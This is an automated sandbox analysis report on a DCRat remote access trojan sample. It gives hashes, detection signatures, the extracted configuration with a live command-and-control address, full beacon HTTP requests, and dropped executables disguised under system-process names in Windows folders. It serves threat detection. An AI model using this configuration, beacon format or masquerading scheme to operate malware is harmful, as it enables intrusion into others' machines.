Windows Analysis Report
13ZNp2xvRU.exe

Overview

General Information

Sample name: 13ZNp2xvRU.exe
renamed because original name is a hash value
Original sample name: 2519412bd469ce3de2888aa487be8f51.exe
Analysis ID: 1430583
MD5: 2519412bd469ce3de2888aa487be8f51
SHA1: 91dd80c942023f360e81e27f4964504acb9bc4c5
SHA256: 7e98baea7a5b0d51143910cde4c5503ae15d55d6f88b4b840ae7fe79469ed12f
Tags: DCRatexe
Infos:

Detection

DCRat
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Yara detected DCRat
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
C2 URLs / IPs found in malware configuration
Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Execution from Suspicious Folder
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Uses schtasks.exe or at.exe to add and modify task schedules
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 13ZNp2xvRU.exe Avira: detected
Antivirus detection for URL or domain
Source: http://45.130.42.16/6/api144/9Wp/ Avira URL Cloud: Label: malware
Source: http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sd Avira URL Cloud: Label: malware
Source: http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\ProgramData\smartscreen.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\twain_32\Registry.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Found malware configuration
Source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: DCRat {"SCRT": "{\"j\":\">\",\"l\":\";\",\"u\":\" \",\"W\":\"@\",\"V\":\".\",\"k\":\"-\",\"O\":\"*\",\"H\":\"#\",\"D\":\"%\",\"5\":\"`\",\"p\":\"~\",\"d\":\")\",\"A\":\",\",\"M\":\"!\",\"8\":\"<\",\"N\":\"&\",\"i\":\"$\",\"I\":\"^\",\"4\":\"|\",\"2\":\"(\",\"w\":\"_\"}", "PCRT": "{\"i\":\"(\",\"I\":\"@\",\"d\":\"_\",\"6\":\"^\",\"0\":\"$\",\"c\":\"!\",\"R\":\"%\",\"9\":\" \",\"j\":\"#\",\"w\":\")\",\"G\":\">\",\"y\":\"-\",\"Y\":\"*\",\"b\":\";\",\"l\":\"`\",\"=\":\".\",\"U\":\"<\",\"n\":\"~\",\"p\":\"|\",\"T\":\"&\",\"S\":\",\"}", "TAG": "", "MUTEX": "DCR_MUTEX-6cV1joJwieGuWPhbIJ4v", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false, "H1": "http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS", "H2": "http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS", "T": "0"}
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe ReversingLabs: Detection: 81%
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe ReversingLabs: Detection: 81%
Source: C:\ProgramData\smartscreen.exe ReversingLabs: Detection: 81%
Source: C:\Recovery\RRVGfHJzvQMYfWe.exe ReversingLabs: Detection: 81%
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe ReversingLabs: Detection: 81%
Source: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe ReversingLabs: Detection: 81%
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe ReversingLabs: Detection: 81%
Source: C:\Windows\twain_32\Registry.exe ReversingLabs: Detection: 81%
Multi AV Scanner detection for submitted file
Source: 13ZNp2xvRU.exe ReversingLabs: Detection: 81%
Machine Learning detection for dropped file
Source: C:\ProgramData\smartscreen.exe Joe Sandbox ML: detected
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Joe Sandbox ML: detected
Source: C:\Windows\twain_32\Registry.exe Joe Sandbox ML: detected
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 13ZNp2xvRU.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: 13ZNp2xvRU.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: 13ZNp2xvRU.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: BEGET-ASRU BEGET-ASRU
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: global traffic HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 23 Apr 2024 20:42:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 177375Connection: keep-aliveP3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA"X-Powered-CMS: Bitrix Site Manager (3cb6b699f91fcd1677ea8a5f7bcf940b)Set-Cookie: PHPSESSID=0joeWo8FC3UGG5G1KO2ZvI0cw6MJJJdg; path=/; HttpOnlyExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: BITRIX_SM_GUEST_ID=2289526; expires=Fri, 18-Apr-2025 20:42:03 GMT; Max-Age=31104000; path=/Set-Cookie: BITRIX_SM_LAST_VISIT=23.04.2024%2023%3A42%3A03; expires=Fri, 18-Apr-2025 20:42:03 GMT; Max-Age=31104000; path=/Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 b6 d0 b5 d0 bd d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d0 bc d1 83 d0 b6 d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 81 d0 bf d0 be d1 80 d1 82 d0 b8 d0 b2 d0 bd d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 82 d0 b0 d0 bf d0 be d1 87 d0 ba d0 b8 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 9c d1 8b 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 b0 d0 b3 d0 b0 d0 b5 d0 bc 20 d1 88 d0 b8 d1 80 d0 be d0 ba d0 b8 d0 b9 20 d0 b0 d1 81 d1 81 d0 be d1 80 d1 82 d0 b8 d0 bc d0 b5 d0 bd d1 82 20 d0 ba d0 b0 d1 87 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="keywords" content=" , , , " /><meta name="description" content="
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 23 Apr 2024 20:42:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 177375Connection: keep-aliveP3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA"X-Powered-CMS: Bitrix Site Manager (3cb6b699f91fcd1677ea8a5f7bcf940b)Set-Cookie: PHPSESSID=KxXgB60mEPIvLU8dX8tTLbwu5q9WYh0Z; path=/; HttpOnlyExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: BITRIX_SM_GUEST_ID=2289526; expires=Fri, 18-Apr-2025 20:42:04 GMT; Max-Age=31104000; path=/Set-Cookie: BITRIX_SM_LAST_VISIT=23.04.2024%2023%3A42%3A04; expires=Fri, 18-Apr-2025 20:42:04 GMT; Max-Age=31104000; path=/Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 b6 d0 b5 d0 bd d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d0 bc d1 83 d0 b6 d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 81 d0 bf d0 be d1 80 d1 82 d0 b8 d0 b2 d0 bd d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 82 d0 b0 d0 bf d0 be d1 87 d0 ba d0 b8 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 9c d1 8b 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 b0 d0 b3 d0 b0 d0 b5 d0 bc 20 d1 88 d0 b8 d1 80 d0 be d0 ba d0 b8 d0 b9 20 d0 b0 d1 81 d1 81 d0 be d1 80 d1 82 d0 b8 d0 bc d0 b5 d0 bd d1 82 20 d0 ba d0 b0 d1 87 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="keywords" content=" , , , " /><meta name="description" content="
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.130.42.16
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D34000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.130.42.16/6/api144/9Wp/
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sd
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.130.42.16/upload/resize_cache/bitlate_proshop/e2e/968_503_1/9w9p11chf5twz88a77wq28ajd28u8b
Source: 13ZNp2xvRU.exe, 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Creates files inside the system directory
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\twain_32\Registry.exe Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\twain_32\Registry.exe\:Zone.Identifier:$DATA Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\twain_32\ee2ad38f3d4382 Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe\:Zone.Identifier:$DATA Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\PLA\Templates\4ed18479ee5d61 Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe\:Zone.Identifier:$DATA Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\IME\IMETC\HELP\7ccfebd9e92364 Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\Panther\setup.exe\fontdrvhost.exe Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File created: C:\Windows\Panther\setup.exe\5b884080fd4f94 Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Code function: 0_2_00007FFD9B893565 0_2_00007FFD9B893565
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Code function: 28_2_00007FFD9B893565 28_2_00007FFD9B893565
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 29_2_00007FFD9B893565 29_2_00007FFD9B893565
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 30_2_00007FFD9B8B3565 30_2_00007FFD9B8B3565
Source: C:\Windows\twain_32\Registry.exe Code function: 31_2_00007FFD9B893565 31_2_00007FFD9B893565
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B883398 32_2_00007FFD9B883398
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B8733B8 32_2_00007FFD9B8733B8
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B87AAA0 32_2_00007FFD9B87AAA0
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B884AA0 32_2_00007FFD9B884AA0
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B88496D 32_2_00007FFD9B88496D
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B87A7E8 32_2_00007FFD9B87A7E8
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B88356F 32_2_00007FFD9B88356F
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B87A4AD 32_2_00007FFD9B87A4AD
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B8829C0 32_2_00007FFD9B8829C0
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B884048 32_2_00007FFD9B884048
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B883ED9 32_2_00007FFD9B883ED9
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B879A65 32_2_00007FFD9B879A65
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 33_2_00007FFD9B883565 33_2_00007FFD9B883565
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 34_2_00007FFD9B893565 34_2_00007FFD9B893565
Source: C:\ProgramData\smartscreen.exe Code function: 35_2_00007FFD9B893565 35_2_00007FFD9B893565
Source: C:\ProgramData\smartscreen.exe Code function: 36_2_00007FFD9B8A3565 36_2_00007FFD9B8A3565
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B873565 37_2_00007FFD9B873565
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B88356F 37_2_00007FFD9B88356F
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B88496D 37_2_00007FFD9B88496D
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B881F75 37_2_00007FFD9B881F75
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B883398 37_2_00007FFD9B883398
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B8868F8 37_2_00007FFD9B8868F8
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B885AC1 37_2_00007FFD9B885AC1
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B884048 37_2_00007FFD9B884048
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B881939 37_2_00007FFD9B881939
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B883ED9 37_2_00007FFD9B883ED9
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 38_2_00007FFD9B883565 38_2_00007FFD9B883565
Sample file is different than original file name gathered from version info
Source: 13ZNp2xvRU.exe, 00000000.00000000.1694422504.0000000000762000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamelibcrypto$ vs 13ZNp2xvRU.exe
Source: 13ZNp2xvRU.exe, 00000000.00000002.1730495375.000000001BD32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibcrypto$ vs 13ZNp2xvRU.exe
Source: 13ZNp2xvRU.exe Binary or memory string: OriginalFilenamelibcrypto$ vs 13ZNp2xvRU.exe
Uses 32bit PE files
Source: 13ZNp2xvRU.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
